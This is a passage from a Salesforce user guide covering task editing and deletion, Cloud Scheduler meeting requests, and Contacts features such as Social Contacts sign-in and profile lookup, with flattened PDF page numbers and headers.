Available in: All Editions except Database.com

User Permissions Needed To edit tasks: Edit on tasks

To edit a task: 1. Click the subject of the task from any of the following locations. The My Tasks section of the Home tab The calendar day view An activities list view The Open Activities related list on an associated record The Activity History related list on an associated record

2. For non-recurring tasks, click Edit. 3. For tasks that are part of a recurring series: To edit an individual task occurrence, click the View Task subtab, and click Edit Task. To edit an entire task series, click the View Series subtab and click Edit Series. Alternatively, click the Edit Series link in the Recurrence section of the detail page. Note: When editing recurring tasks, keep the following in mind: Changes you make to an individual task occurrence are overwritten if the task series is subsequently updated with conflicting information. If you change any of the details in the recurrence section of the series, all open tasks that were part of the series will be deleted and new tasks will be created. Any changes made to individual open tasks that have not yet occurred will be lost.

4. Edit the task fields as needed. Tip: If Spell Checker is enabled for your organization, click Check Spelling to spell-check the contents of the Comments field. Note that the Check Spelling button must be enabled separately for events and tasks. Spell

145

Activities

Deleting Recurring Tasks

Checker does not support all the languages that Salesforce supports. For example, Thai, Russian, and double-byte languages, such as Japanese, Korean, or Chinese, are not supported. Select the Send Notification Email checkbox to send a notification email to the task's assignee when you save the task. To save the current state of the checkbox as your personal default, select Make this the default setting. You cannot change the status of an entire recurring task series. To change the status, you must edit each occurrence in the recurring series.

5. Attach files as needed by clicking Add Attachment on the Attachments related list. If you don't see this related list, you may need to first ask your administrator to add it to the task page layout. For recurring tasks, the attachment is added to the series of tasks. Each occurrence of the recurring task can also have its own unique set of attachments. 6. Click Save.

See Also:
Viewing Tasks Closing Tasks Setting Reminders on Activities Activity Fields

Deleting Recurring Tasks


Available in: All Editions except Database.com

User Permissions Needed To delete recurring tasks: Edit Tasks

To delete a single task occurrence or an entire task series: 1. Click the subject of the task from any of the following locations: The My Tasks section of the Home tab The calendar day view An activities list view The Open Activities related list on an associated record The Activity History related list on an associated record

2. Do one of the following: To delete an individual task occurrence, select the View Task subtab located above the task details, and click Delete Task. To delete a task series, select the View Series subtab, click Delete Series and click OK to confirm the deletion.

Deleted tasks are moved to the Recycle Bin.

146

Activities

Closing Tasks

Note: When you delete a task series: Closed task occurrences are not deleted. Only future task occurrences are placed in the Recycle Bin. To restore a series from the Recycle Bin, you must restore each task occurrence. Salesforce restores series and occurrence-specific task details.

See Also:
Creating Tasks Editing Tasks Viewing Tasks

Closing Tasks
Available in: All Editions except Database.com

User Permissions Needed To edit tasks: Edit Tasks

To close tasks: 1. On the My Tasks section of the Home tab or on the My Tasks section of the calendar day view, click X next to the appropriate task. Alternatively, in the Open Activities related list on an associated record, click Cls next to the appropriate task. To close all tasks in a recurring series, you must close each occurrence separately. 2. Click Save to accept the changed Status value. 3. Click Save. The closed task displays in the Activity History related list of the associated record. Note: By default, the status changes to Completed when you click X or Cls. However, if your administrator has customized the task status picklist, then the value changes to the first value for which the Closed checkbox is selected according to the current order of picklist values. For example, if your administrator has customized the task status picklist values so that both Completed and Deferred are defined as Closed and Deferred is above Completed in the current order of picklist values, then clicking X or Cls sets the status value to Deferred.

See Also:
Viewing Tasks Editing Tasks Using the Activity History Related List

147

Activities

About Cloud Scheduler

About Cloud Scheduler


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

User Permissions Needed To request a meeting: Edit Events AND Send Email

Watch a Demo (2:37 minutes) Note: Cloud Scheduler isn't supported in Microsoft Internet Explorer version 6.0.

When you use Cloud Scheduler to request a meeting with a contact, lead, person account, or other Salesforce user, Salesforce creates a unique Web page for your meeting that displays the proposed meeting times. When invitees visit the page, they select the times that work for them, and send you a reply. Salesforce tracks all the responses so you can pick the best time to meet when you confirm the meeting. The following sections provide an overview of how to request a meeting using Cloud Scheduler. Step 1: You Request a Meeting and Propose Meeting Times Go to either the Calendar section on the Home tab or the Open Activities related list on the detail page of the contact, lead, or person account you want to request a meeting with. Click New Meeting Request to open the Meeting Request page.

1. Click To to invite other Salesforce users, leads, contacts, or person accounts to the meeting. 2. Click in the calendar to propose up to five meeting times, or let Salesforce propose times for you.

148

Activities

About Cloud Scheduler

Step 2: Invitees Pick the Times They Can Meet Salesforce emails a meeting request to the invitees so they can pick the times they are available.

1. In the meeting request, invitees click Respond to This Request to open your meeting's Web page. 2. On the meeting Web page, invitees pick the proposed times that work for them and send you a reply. Step 3: You Confirm the Meeting Salesforce keeps track of all the responses so you can see when each invitee is available. You then select the best time to meet and confirm the meeting.

Requesting a Meeting Using Cloud Scheduler

149

Activities

Requesting a Meeting Using Cloud Scheduler

Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

User Permissions Needed To request a meeting: Edit Events AND Send Email

Watch a Demo (2:37 minutes) Note: Cloud Scheduler isn't supported in Microsoft Internet Explorer version 6.0.

Before you use Cloud Scheduler to request a meeting with a contact, lead, person account, or other Salesforce user, consider these tips: You must have at least read access to the contacts, leads, and person accounts that you request a meeting with. Each invitee must have an email address specified in their record so Salesforce can send them a meeting request. You can invite up to 50 people to a meeting. Invitees can consist of only contacts, leads, or person accounts, only other Salesforce users, or a mix of both. We recommend you install Salesforce for Outlook, Connect for Outlook, or Connect for Lotus Notes so you can sync your calendar events between Salesforce and Outlook or Lotus Notes. When proposing meeting times, it's helpful to have your Salesforce calendar up-to-date so you can see your free and busy times. To request a meeting: 1. Go to either the Calendar section on the Home tab or the Open Activities related list on the detail page of the contact, lead, or person account you want to invite to a meeting. 2. Click New Meeting Request. If this button doesn't display in the Calendar on the Home tab or on the Open Activities related list, ask your Salesforce administrator to add it. 3. Click To to invite other Salesforce users, leads, contacts, or person accounts to the meeting. a. Select the type of invitee from the drop-down list. Person accounts are returned in contact searches and can be added as invitees. b. Enter a name or part of a name in the text field, or leave the field blank to expand the search. c. Click Go!. d. In the Search Results area, select the boxes next to the people you want to invite and click Insert Selected. To add more invitees, perform a new search and select more people as needed. If there's a warning icon ( ) next to a person's name, you can't invite them to the meeting because they don't have an email address specified in their record. Once you add an email address to their record, you can invite them to meetings.

150

Activities

Requesting a Meeting Using Cloud Scheduler

e. Click Done. To remove someone you just invited, click x next to their name in the To field. You can remove all invitees unless you requested the meeting from an Open Activities related list. In that case, the first contact, lead or person account in the To field can't be removed. 4. Enter a subject and location. If you requested the meeting from an Open Activities related list, the default subject is a combination of the account name for the lead or contact and the company name specified in your personal information. For example, if you're meeting with a contact from the Sterling company and you work for ACME, the default subject is Sterling and ACME. The default location is always To be determined. 5. Select one of these tabs: I propose meeting timesPropose up to five meeting times by picking times in the calendar. See Tips for Proposing Meeting Times on page 151. Let Salesforce propose meeting timesChoose the duration and time frame of the meeting and let Salesforce propose up to five meeting times for you. See Tips for Letting Salesforce Propose Meeting Times on page 152.

6. Click Next. 7. Write a message to the invitees, and click Send. Note the following: Your email signature is automatically added to your message. After you click Send, Salesforce emails a meeting request to the invitees. In the meeting request, invitees click Respond to This Request to open your meeting's Web page. On the meeting Web page, invitees pick the proposed times that work for them and send you a reply. Your meeting's Web page displays all messages between you and the invitees. This includes messages that invitees write when responding to your request. If you requested the meeting from an Open Activities related list, the meeting appears on the detail page for that contact or lead only. It doesn't appear on the Open Activities related list for any other invitee. For example, if you requested a meeting with Jane Smith from her contact detail page and then clicked the To field to invite John Doe, the requested meeting only appears on the Open Activities related list for Jane Smith and not John Doe. If you requested the meeting from the Calendar section on the Home tab, the meeting doesn't appear on the Open Activities related list for either Jane Smith or John Doe.

After you send your meeting request, wait for the invitees to reply with the times they can meet. Then confirm the meeting by selecting a final meeting time.

See Also:
About Cloud Scheduler Canceling a Requested Meeting Rescheduling a Requested Meeting Adding and Removing Invitees from a Requested Meeting

Tips for Proposing Meeting Times


151

Activities

Tips for Proposing Meeting Times

Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

User Permissions Needed To request a meeting: Edit Events AND Send Email

Note: Cloud Scheduler isn't supported in Microsoft Internet Explorer version 6.0.

When you request a meeting using Cloud Scheduler, you can either propose meeting times or let Salesforce propose times for you. When you propose meeting times: Proposed times aren't saved to your Salesforce calendar. The meeting only appears in your calendar after you confirm the meeting. When the invitees view your meeting request, the proposed times are shown in your time zone. Proposed times aren't shown in the invitees' time zones. You can't propose a time that occurs in the past (before the black line in the calendar). The calendar's shaded areas show when you and the other invited Salesforce users are busy based on your Salesforce calendars. Darker shades show when multiple Salesforce users are busy at the same time. Use the Duration field to change the length of your meeting. To remove a time you proposed, hover over the proposed time and click x.

See Also:
About Cloud Scheduler Tips for Letting Salesforce Propose Meeting Times

Tips for Letting Salesforce Propose Meeting Times

152

Activities

Tips for Letting Salesforce Propose Meeting Times

Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

User Permissions Needed To request a meeting: Edit Events AND Send Email

Note: Cloud Scheduler isn't supported in Microsoft Internet Explorer version 6.0.

When you request a meeting using Cloud Scheduler, you can either propose meeting times or let Salesforce propose times for you. One of the benefits of letting Salesforce propose meeting times happens when there's a long delay between the time you send the meeting request and when the first invitee views it. For example, if you request a meeting with a contact on a Monday and that contact doesn't view your request until Thursday, Salesforce proposes times from Thursday forward instead of when the meeting request was sent. When Salesforce proposes meeting times: You won't know which times are proposed until after you send the meeting request. Once the first invitee views your request, Salesforce checks the calendars of all Salesforce users invited to the meeting and proposes meeting times based on their availability. Salesforce tries not to propose the same times that invitees have already selected for other unconfirmed meetings. For example, if you request a meeting for the next five business days and your invitees respond that they can meet on Tuesday and Wednesday from 2:00 to 3:00 p.m., and then you request another meeting for the same time frame, Salesforce won't propose times for Tuesday and Wednesday from 2:00 to 3:00 p.m. unless your calendar is completely booked with confirmed meetings and other events. By default, Salesforce proposes meeting times between 9:00 a.m. and 5:00 p.m. in your time zone. However, if you have changed the Start of day and End of day fields in your Personal Information Settings page, Salesforce uses those settings instead. Note: If you don't want to meet at a specific time of day (like your lunch hour), schedule a recurring event in your Salesforce calender to block out that time. The following table describes the settings that control how Salesforce proposes meeting times. Field
Duration Time Frame

Description The length of your meeting. How far in advance Salesforce proposes meeting times: Next 5 Business Days/Next 10 Business DaysSalesforce tries to spread out the proposed times over the specified

153

Activities

Confirming a Requested Meeting

Field

Description time frame. For example, if your time frame is Next 5 Business Days and the first invitee views the request on a Monday, Salesforce tries to propose a time for each day of that week. If some of your days are booked, Salesforce condenses the proposed times into fewer days. Business days exclude Saturdays and Sundays. WheneverSalesforce tries to propose five meeting times over the next five business days, and if it can't propose enough times, it extends the range over the next 10 business days. If Salesforce still can't find five times to propose, it looks for available times over the next four weeks. When you select this option, some of the times Salesforce proposes could be seven weeks away (5 business days + 10 business days + 20 business days = 7 weeks).

See Also:
About Cloud Scheduler Tips for Proposing Meeting Times

Confirming a Requested Meeting


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

User Permissions Needed To confirm a meeting: Edit Events AND Send Email

Note: Cloud Scheduler isn't supported in Microsoft Internet Explorer version 6.0.

After you use Cloud Scheduler to request a meeting, wait for the invitees to reply with the times they can meet. When this happens, you receive an email notification, and the meeting in Salesforce is automatically updated with the times the invitees selected. You can then choose the best time to meet and confirm the meeting.

154

Activities

Confirming a Requested Meeting

The meeting confirmation page displays as read-only to users without the Edit Events permission and users without the Edit permission on the contact or lead record associated with a proposed meeting. To confirm a meeting: 1. Open your meeting using one of these methods: From the Calendar section on the Home tab, click the Requested Meetings subtab and then click the subject of your meeting. If the Requested Meetings subtab doesn't display on the Calendar section, ask your administrator to add it. If you requested the meeting from the Open Activities related list for that contact, lead, or person account, click the subject of your meeting in the related list. From the email notification that you received when an invitee responded to your meeting request, click View Response and Schedule Meeting.

2. Select a time, and click Confirm. The Confirm button displays after you select a meeting time. If you don't select a time, the Send Update button displays instead so you can send the invitees a message without confirming a meeting time. Use the following tools to help you pick a time: Green check marks show when each invitee can meet. Free shows when you are available based on your Salesforce calendar. If none of the times work for the invitees, reschedule the meeting to propose new times.

3. Optionally, enter a message to the invitee. 4. Click Send to confirm the meeting. Salesforce then: Emails the invitees with the final date and time of the meeting. Converts the requested meeting to a new multi-person event. The last message you sent to the invitees appears in the event's Description field, but all other messages between you and the invitees aren't saved. This event appears in the Calendar section on the Home tab. If you requested the meeting from an Open Activities related list, the event also appears in the Open Activities related list for that contact, lead, or person account. Note: If your administrator added required fields to events, you're prompted to update those fields before the meeting is converted to an event.

See Also:
Canceling a Requested Meeting About Cloud Scheduler

Guidelines for Adding a Custom Logo to Meeting Requests

155

Activities

Guidelines for Adding a Custom Logo to Meeting Requests

Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

User Permissions Needed To customize activity settings: Customize Application

When you show a custom logo in meeting requests, your logo appears in the following locations: Email requests sent to invitees when you request a meeting or schedule an event Meeting response pages where invitees select the times they can meet when you request a meeting Event response pages where invitees accept or decline the event

When using a custom logo: The image must be in GIF, JPEG, or PNG format and be less than 20 KB. For best results, use an image that is no more than 130 pixels wide by 100 pixels high at 72 pixels per inch. Images that are larger than these dimensions may not display correctly in some email clients due to automatic resizing. You must first upload your logo to the Documents tab and make it externally available. Documents marked Internal Use Only can't be used as a logo. Note: If your custom logo is in the Shared Documents folder on the Documents tab, other users can replace it and indirectly change the logo that appears in meeting invitations. We recommend uploading the logo to your personal folder on the Documents tab so only you can replace it. You can't delete a custom logo from the Documents tab when it's being used in meeting requests. You must first either select another document to use as your logo or uncheck the option to display a custom logo in meeting requests.

Canceling a Requested Meeting


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

User Permissions Needed To cancel a meeting: Edit Events AND Send Email

Note: Cloud Scheduler isn't supported in Microsoft Internet Explorer version 6.0.

156

Activities

Canceling a Requested Meeting

If you requested a meeting that hasn't been confirmed, you can cancel the meeting and Salesforce automatically sends a cancellation notice to the invitees. However, if you confirmed the meeting then it has been converted to an event that you can delete like all other activities. To cancel a requested meeting: 1. Open your meeting using one of these methods: From the Calendar section on the Home tab, click the Requested Meetings subtab and then click the subject of your meeting. If the Requested Meetings subtab doesn't display on the Calendar section, ask your administrator to add it. If you requested the meeting from the Open Activities related list for that contact, lead, or person account, click the subject of your meeting in the related list. From the email notification that you received when an invitee responded to your meeting request, click View Response and Schedule Meeting.

2. Click Cancel Meeting. You can also click Del next to the meeting from the Open Activities related list. Note: If Close is the only button on the page, you don't have permission to modify the requested meeting. Either ask the organizer to change the meeting details for you, or contact your Salesforce administrator to grant you the required permissions. 3. Click OK to confirm the cancellation. Salesforce emails a meeting cancellation to all invitees. Canceled meetings are permanently removed and aren't stored in the Recycle Bin.

See Also:
Requesting a Meeting Using Cloud Scheduler Confirming a Requested Meeting Deleting Activities About Cloud Scheduler Adding and Removing Invitees from a Requested Meeting

Rescheduling a Requested Meeting

157

Activities

Rescheduling a Requested Meeting

Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

User Permissions Needed To reschedule a meeting: Edit Events AND Send Email

Note: Cloud Scheduler isn't supported in Microsoft Internet Explorer version 6.0.

If you used Cloud Scheduler to request a meeting that hasn't been confirmed, you can reschedule it and propose new times. However, you can't propose new times for a confirmed meeting because it's been converted to an event. To reschedule an event, edit the event to change its date and send an update to the invitees. To reschedule a requested meeting: 1. Open your meeting using one of these methods: From the Calendar section on the Home tab, click the Requested Meetings subtab and then click the subject of your meeting. If the Requested Meetings subtab doesn't display on the Calendar section, ask your administrator to add it. If you requested the meeting from the Open Activities related list for that contact, lead, or person account, click the subject of your meeting in the related list. From the email notification that you received when an invitee responded to your meeting request, click View Response and Schedule Meeting.

2. Click Reschedule and propose new times. Once the invitees reply to your updated request, you can confirm the meeting. Note: If Close is the only button on the page, you don't have permission to modify the requested meeting. Either ask the organizer to change the meeting details for you, or contact your Salesforce administrator to grant you the required permissions.

See Also:
Requesting a Meeting Using Cloud Scheduler Confirming a Requested Meeting Canceling a Requested Meeting Adding and Removing Invitees from a Requested Meeting About Cloud Scheduler

Adding and Removing Invitees from a Requested Meeting

158

Activities

Adding and Removing Invitees from a Requested Meeting

Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

User Permissions Needed To add and remove invitees from a requested meeting: Edit Events AND Send Email

Note: Cloud Scheduler isn't supported in Microsoft Internet Explorer version 6.0.

If you requested a meeting that hasn't been confirmed, you can add and remove invitees at any time. Confirmed meetings are converted to multi-person events. You can edit multi-person events to add and remove invitees. To add or remove invitees from a requested meeting: 1. Open your meeting using one of these methods: From the Calendar section on the Home tab, click the Requested Meetings subtab and then click the subject of your meeting. If the Requested Meetings subtab doesn't display on the Calendar section, ask your administrator to add it. If you requested the meeting from the Open Activities related list for that contact, lead, or person account, click the subject of your meeting in the related list. From the email notification that you received when an invitee responded to your meeting request, click View Response and Schedule Meeting.

2. Do either of the following: Click To to invite other Salesforce users, leads, contacts, or person accounts to the meeting. Click x next to an invitee's name to remove them from the meeting. You can remove all invitees unless you requested the meeting from an Open Activities related list. In that case, the first contact, lead or person account in the To field can't be removed. The calendar automatically updates based on the Salesforce users you added or removed from the meeting. Note: If Close is the only button on the page, you don't have permission to modify the requested meeting. Either ask the organizer to change the meeting details for you, or contact your Salesforce administrator to grant you the required permissions. 3. Click Send Update. 4. Enter a message. For example, you might want to inform your invitees who you're adding or removing from the meeting. 5. Click one of the following: Send to All InviteesSends an update to all existing and added invitees and a cancellation notice to removed invitees.

159

Contacts

Contacts Overview

Send Only to Changed InviteesSends an update to added invitees and a cancellation notice to removed invitees.

See Also:
Requesting a Meeting Using Cloud Scheduler Canceling a Requested Meeting Confirming a Requested Meeting Rescheduling a Requested Meeting About Cloud Scheduler

CONTACTS
Contacts Overview
Available in: All Editions except Database.com

Contacts are the people associated with your business accounts that you need to track in Salesforce. For each contact, you can store various kinds of information, such as phone numbers, addresses, titles, and roles in a deal. The Contacts tab lets you quickly create and locate contacts, as well as sort and filter contacts using standard and custom list views. You can also use this tab to view and edit detailed information for each contact you have access to. Social Contacts enhance your traditional contact data. With Social Contacts, you can see your contacts' social network profilesdirectly in Salesforce. Easy access to this information helps you know your customers better, so you can solve their problems and build stronger relationships.

See Also:
Contacts Home Social Contacts Overview Accounts Overview Resolving Your Synced Outlook Contacts

Social Contacts Overview


Available in: All Editions except Database.com

The Social Contacts feature lets you view your contacts' social network profiles directly in Salesforce. This social information gives you a better perspective on your customers' needs and issuesinformation you can use to build deeper relationships and

160

Contacts

Social Contacts Overview

increase business connections. The Social Contacts feature is enabled by default for organizations created after October 7, 2011. For existing organizations, the administrator must enable Social Contacts. You can see social information from several social networks. LinkedIn is useful for staying up to date on your contacts' professional personas. Twitter is a great way to understand your contacts' public personas and to see what's on their minds. You can see bios, recent tweets, who your contacts are following, and who is following your contacts. Facebook gives you a more personal view of your contacts and helps you find common interests. You can see profiles, status updates, and mutual friends.

Additional social networks may be available in future updates. Important: The Social Contacts feature uses Facebook, LinkedIn, and Twitter public APIs to display social information in Salesforce. Because these social networks have the option of modifying or terminating access to their APIs at any time, salesforce.com cant guarantee the future availability of this feature or any of its functionality, including access to the data that is currently provided or to any particular social network as a whole. To get started with Social Contacts, simply sign in to your social network accounts from any contact detail page. This creates private connections between Salesforce and your social network accounts, allowing you to see external social profiles in Salesforce. Then you're ready to take your customer insights to the next level. It's fast and easy to link your customers' social profiles to their Salesforce contact records, so you and others in your organization can view this information any time it's needed, without having to log in to other sites. The social profile details that Salesforce displays are always current. Click the social network icons in the header on contact detail pages to use the Social Contacts feature. If no icons are visible, that means Social Contacts is disabled for your organization. If a social network icon is missing, that service may be turned off. Contact your administrator if you'd like to use this feature or want access to a social network that isn't currently available.

About Security and Privacy When Using Social Contacts


Social Contacts is secure and private. Here's an overview of its security and privacy features. Salesforce uses the trusted OAuth protocol when you sign in to your social network accounts, so your login credentials aren't exposed to Salesforce. Salesforce doesn't import or store social information. Each time you select a contact's social profile, Salesforce retrieves the information directly from the corresponding social network and simply displays it. The information that you see is read-only and can't be modified. You can't import or store social information in contact records. This ensures that you always see current details when viewing your contacts' social profiles. The details that are visible to you when you view a contact's social profile are determined by the connection that you have with the contact and the contact's privacy settings. Typically you see the same information as you would when viewing the profile while logged in directly to the social network. Some contacts, however, may have privacy settings that restrict the visibility of some or all of their profile details outside the network. In those cases, you see very few, if any, profile details in Salesforce. Your view of a contact's social profile is not shared with anyone else in your organization. Other Salesforce users must sign in to their own social network accounts to use Social Contacts and the profile details that are visible depend on each user's connection level with the contact and the contact's privacy settings. None of your own social profile information is stored in Salesforce, nor does Salesforce post anything about you or your activities to your social network accounts.

161

Contacts

Contacts Home

Contacts aren't notified when you view their social profiles using the Social Contacts feature.

See Also:
Signing in to Your Social Network Accounts from Salesforce Finding and Viewing Your Contacts' Social Profiles Configuring Your Social Contacts Settings Enabling and Configuring Social Contacts Contacts Overview

Contacts Home
Available in: All Editions

User Permissions Needed To view Contacts tab: To view contacts: To create contacts: Read on contacts Read on contacts Create on contacts

Clicking on the Contacts tab displays the contacts home page. In the View section, select a list view from the drop-down list to go directly to that list page, or click Create New View to define your own custom view. In the Recent Contacts section, select an item from the drop-down list to display a brief list of the top contacts matching that criteria. From the list, you can click any contact name to go directly to the contact detail. Toggle the Show 25 items and Show 10 items links to change the number of items that display. The fields you see are determined by the Contacts Tab search layout defined by your administrator and by your field-level security settings (available in Enterprise, Unlimited, and Developer Editions only). The Recent Contacts choices are: Recent Contacts Choice Recently Viewed Description The last ten or twenty-five contacts you viewed, with the most recently viewed contact listed first. This list is derived from your recent items and includes records owned by you and other users. The last ten or twenty-five contacts you created, with the most recently created contact listed first. This list only includes records owned by you. The last ten or twenty-five contacts you updated, with the most recently updated contact listed first. This list only includes records owned by you.

Recently Created

Recently Modified

162

Contacts

Viewing Contact Lists

Under Quick Create, fill in the fields to add a new contact. Alternatively, click New next to the Recent Contacts section to create a new contact. Under Reports, click any report name to jump to that report. Select any of the links under Tools to manage your contacts. If you sync contacts from Outlook using Salesforce for Outlook, you may see a banner at the top of your Contacts home page that links to a list of your unresolved contacts. These are synced Outlook contacts that still need to be assigned to Salesforce accounts. Person accounts appear in contact list views but not the Recent Contacts list on the Contacts home page.

See Also:
Contacts Overview Using Contacts Creating Contacts Deleting Contacts Creating Custom List Views Resolving Your Synced Outlook Contacts

Viewing Contact Lists


Available in: All Editions except Database.com

User Permissions Needed To view contacts: To create contacts: Read on contacts Create on contacts

The contacts list page displays a list of contacts in your current view. To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit. Click a contact name to view the detail. Click Edit or Del to edit or delete the contact. If Chatter is enabled, click or to follow or stop following a contact in your Chatter feed. If Chatter is enabled, click Chatter in the top-right corner to see feed updates for the list view. Click List to toggle back to the list view. Click New Contact or select Contact from the Create New drop-down list in the sidebar to create a contact. To add contacts to an existing campaign, select the box next to one or more contacts, and then click Add to Campaign. Alternatively, select the box in the column header to select all displayed records, then click Add to Campaign. Click the Open Calendar link at the bottom of the page to display a weekly view of a calendar underneath the list. Then, you can drag a record from the list to a time slot on the calendar to quickly create an event associated with the record. Note that your administrator controls the availability of drag-and-drop scheduling.

163

Contacts

Viewing Contact Lists

Working with Person Accounts


Person accounts appear in contact list views but not the Recent Contacts list on the Contacts home page. When you select a person account name on a contact list view, the corresponding person account appears on the Accounts tab. To visually differentiate contacts from person accounts in contact list views, add the Is Person Account icon as a column; see Creating Custom List Views on page 241. Person accounts do not have contacts. Note: In most situations, you can use person accounts as if they were contacts. You can include them in all contact list views except on the contacts home page. For more information, see What is a Person Account? on page 61.

Sorting List Views


Click any column heading to sort in ascending or descending order using that columns information. At the top of the list, click a letter to display the contents of the sorted column that begin with that character. Note: Professional, Enterprise, Unlimited, and Developer Edition organizations can grant access to contacts beyond what the sharing model allows. See Sharing Contacts on page 185. Contacts that are not linked to an account are always private, regardless of your organizations sharing model. Only the owner of the contact and administrators can view it. Sharing rules and workflow rules do not apply to private contacts. If your organization uses divisions, private contacts always belong to the global division.

See Also:
Customizing User Interface Settings Working with Enhanced Lists Using Inline Editing in Lists Printing List Views Finding Out if Your Partners Use Salesforce

Using Contacts

164

Contacts

Using Contacts

Available in: All Editions

User Permissions Needed To view contacts: To edit contacts: Read on contacts Edit on contacts

To edit accounts on contacts enabled to use a Customer Portal: Edit on contacts AND Edit Self-Service To edit accounts on contacts enabled to use a partner portal: Edit on contacts AND Manage Partners To view person accounts: To edit person accounts: Read on accounts and contacts Edit on accounts and contacts

Contacts are the individuals associated with your accounts. View and edit contact details (for example, the account name). Use Social Contacts to view your contacts' social profiles. Find contact-related information (for example, opportunities). Find contacts from Data.com. Find and add Data.com contacts for a specific account. View contact updates and comments (Chatter). Give Customer Portal users access to a contact. Enable a contact as a partner portal user. Troubleshoot partner portal user issues. Enable a contact as a Self-Service portal user.

See Also:
Contact Fields Creating Contacts Social Contacts Overview Data.com Overview Cloning Contacts Sharing Contacts Merging Duplicate Contacts

165

Contacts

Viewing and Editing Contact Details

Viewing and Editing Contact Details


Available in: All Editions

User Permissions Needed To view contacts: To edit contacts: Read on contacts Edit on contacts

To edit accounts on contacts enabled to use a Customer Portal: Edit on contacts AND Edit Self-Service To edit accounts on contacts enabled to use a partner portal: Edit on contacts AND Manage Partners To view person accounts: To edit person accounts: Read on accounts and contacts Edit on accounts and contacts

Once you have located a contact on the Contacts home or list pages, click the contact name to display detailed information. Use inline editing to edit fields directly on the detail page. If inline editing isn't enabled, contact your administrator. To display the page in edit mode, click Edit, make your changes, and click Save. To save the current contact and create another one, click Save & New. To open a printable display of the record details, in the top-right corner of the page, click Printable View.

Changing the Account for Contacts


If you change the Account Name field: Cases and opportunities associated with the contact remain associated with the previous account and do not roll up to the new account. New cases and opportunities created for the contact are associated with the new account.

There are additional considerations for contacts enabled for portals.

See Also:
Contact Fields Finding and Viewing Your Contacts' Social Profiles Sending Stay-in-Touch Requests

Signing in to Your Social Network Accounts from Salesforce


166

Contacts

Signing in to Your Social Network Accounts from Salesforce

Available in: All Editions except Database.com

User Permissions Needed To sign in to your social network accounts from Salesforce: Edit on contacts

To get started using Social Contacts, you first need to sign in to your social network accounts from Salesforce. This creates private connections between Salesforce and your social network accounts, allowing you to see external social profiles in Salesforce. These connections persist in future Salesforce sessions: you don't have to sign in to your social network accounts again unless you sign out at some point. 1. On the Contacts home page or in a Contacts list view, click a contact's name to display the detail page. You can sign in from any contact's detail page that you have permission to edit. 2. In the header on the contact's detail page, click a social network icon. 3. Click the Sign in button on the Social Contacts popup. 4. Enter your social network account credentials and authorize Salesforce to access your account. Your Salesforce account and social network account are now connected. Repeat these steps to create connections for your other social network accounts.

See Also:
Finding and Viewing Your Contacts' Social Profiles Social Contacts Overview Configuring Your Social Contacts Settings

Finding and Viewing Your Contacts' Social Profiles


Available in: All Editions except Database.com

User Permissions Needed To find and link social profiles to contact records: To view a contact's social profiles: Edit on contacts Read on contacts

Once you have signed in to your social network accounts from Salesforce, you can use Social Contacts to find your customers' social profiles and link them to their contact records. Then you can view this information whenever you need, directly from contact detail pages in Salesforce. 1. On the Contacts home page or in a Contacts list view, click a contact's name to display the detail page. 2. In the header on the contact's detail page, click a social network icon. 3. If a social profile hasn't been associated with the contact yet, Salesforce automatically searches for profiles that match the name on the contact record. Click the correct social profile in the search results displayed on the Social Contacts popup.

167

Contacts

Tips for Finding Your Contacts' Social Profiles

Tip: If the default search doesn't find the correct profile, you can search again using different search terms on page 168. The profile that you select is linked to the contact record, so other Salesforce users who access the record can also view the profile. 4. View the social information that your contact is sharing with you. Note: Depending on the contact's privacy settings, as well as the permissions set by the contact's friends or connections, you may not see all of the information that you would if logged directly into your social network account. 5. You can also: Click Show Photo in Salesforce to display the contact's profile picture on the contact detail page. Click the View Full Profile link to see all of the contact's social information directly in the social network. Click Find Different Profile to change the social network profile that is linked to the contact record. Click the Sign Out link to close the private connection between Salesforce and your social network account. When you do this, you're unable to see your contacts' social profiles until you sign in again.

Repeat these steps to find and view the contact's other social profiles. You can use the tabs on the Social Contacts popup to easily switch between the different social networks.

See Also:
Signing in to Your Social Network Accounts from Salesforce Tips for Finding Your Contacts' Social Profiles Viewing and Editing Contact Details Social Contacts Overview Configuring Your Social Contacts Settings

Tips for Finding Your Contacts' Social Profiles


Available in: All Editions except Database.com

When you want to associate a social profile with a contact, the Social Contacts feature searches for profiles that match the Name field on the contact record. If you're looking for a LinkedIn profile, the search also matches against the Account Name field. Here are some tips for searching for social profiles. If the default search can't locate your contact's social profile, enter different keywords in the search box on the Social Contacts popup and click Search. The name on the contact record may be different from your contact's social network user name, so try different variations of the contact's name. For example, search for Maddie Rigsby instead of Madison Rigsby.

168

Contacts

Configuring Your Social Contacts Settings

The account name on the contact record may not exactly match the company name in the contact's social profile. Try different versions of the account name, such as Universal Paper or Universal Paper, Incorporated instead of Universal Paper, Inc. If you still can't find the correct profile, the contact may not have an account in the social network. It's also possible that the contact's privacy settings are blocking you from finding their profile in a search.

See Also:
Finding and Viewing Your Contacts' Social Profiles Social Contacts Overview

Configuring Your Social Contacts Settings


Available in: All Editions except Database.com

User Permissions Needed To configure your Social Contacts Settings: Edit on contacts

If the Social Contacts feature is enabled for your organization, you can turn off social networks that you don't want to use. You can also turn off the Social Contacts feature, if needed. 1. Click Your Name > Setup > My Social Contacts > Settings. 2. Click Change your Social Contacts settings. 3. Customize Social Contacts so it works the way you want it to. Select the social networks that you want to use. Deselect any of the services that you don't want to use. Deselect Use Social Contacts to turn off the Social Contacts feature entirely. Select this checkbox to turn the feature back on if you change your mind.

4. Click Save.

See Also:
Social Contacts Overview Signing in to Your Social Network Accounts from Salesforce Finding and Viewing Your Contacts' Social Profiles

Contact History

169

Contacts

Contact History

Available in: All Editions except Database.com

User Permissions Needed To view contacts: Read on contacts

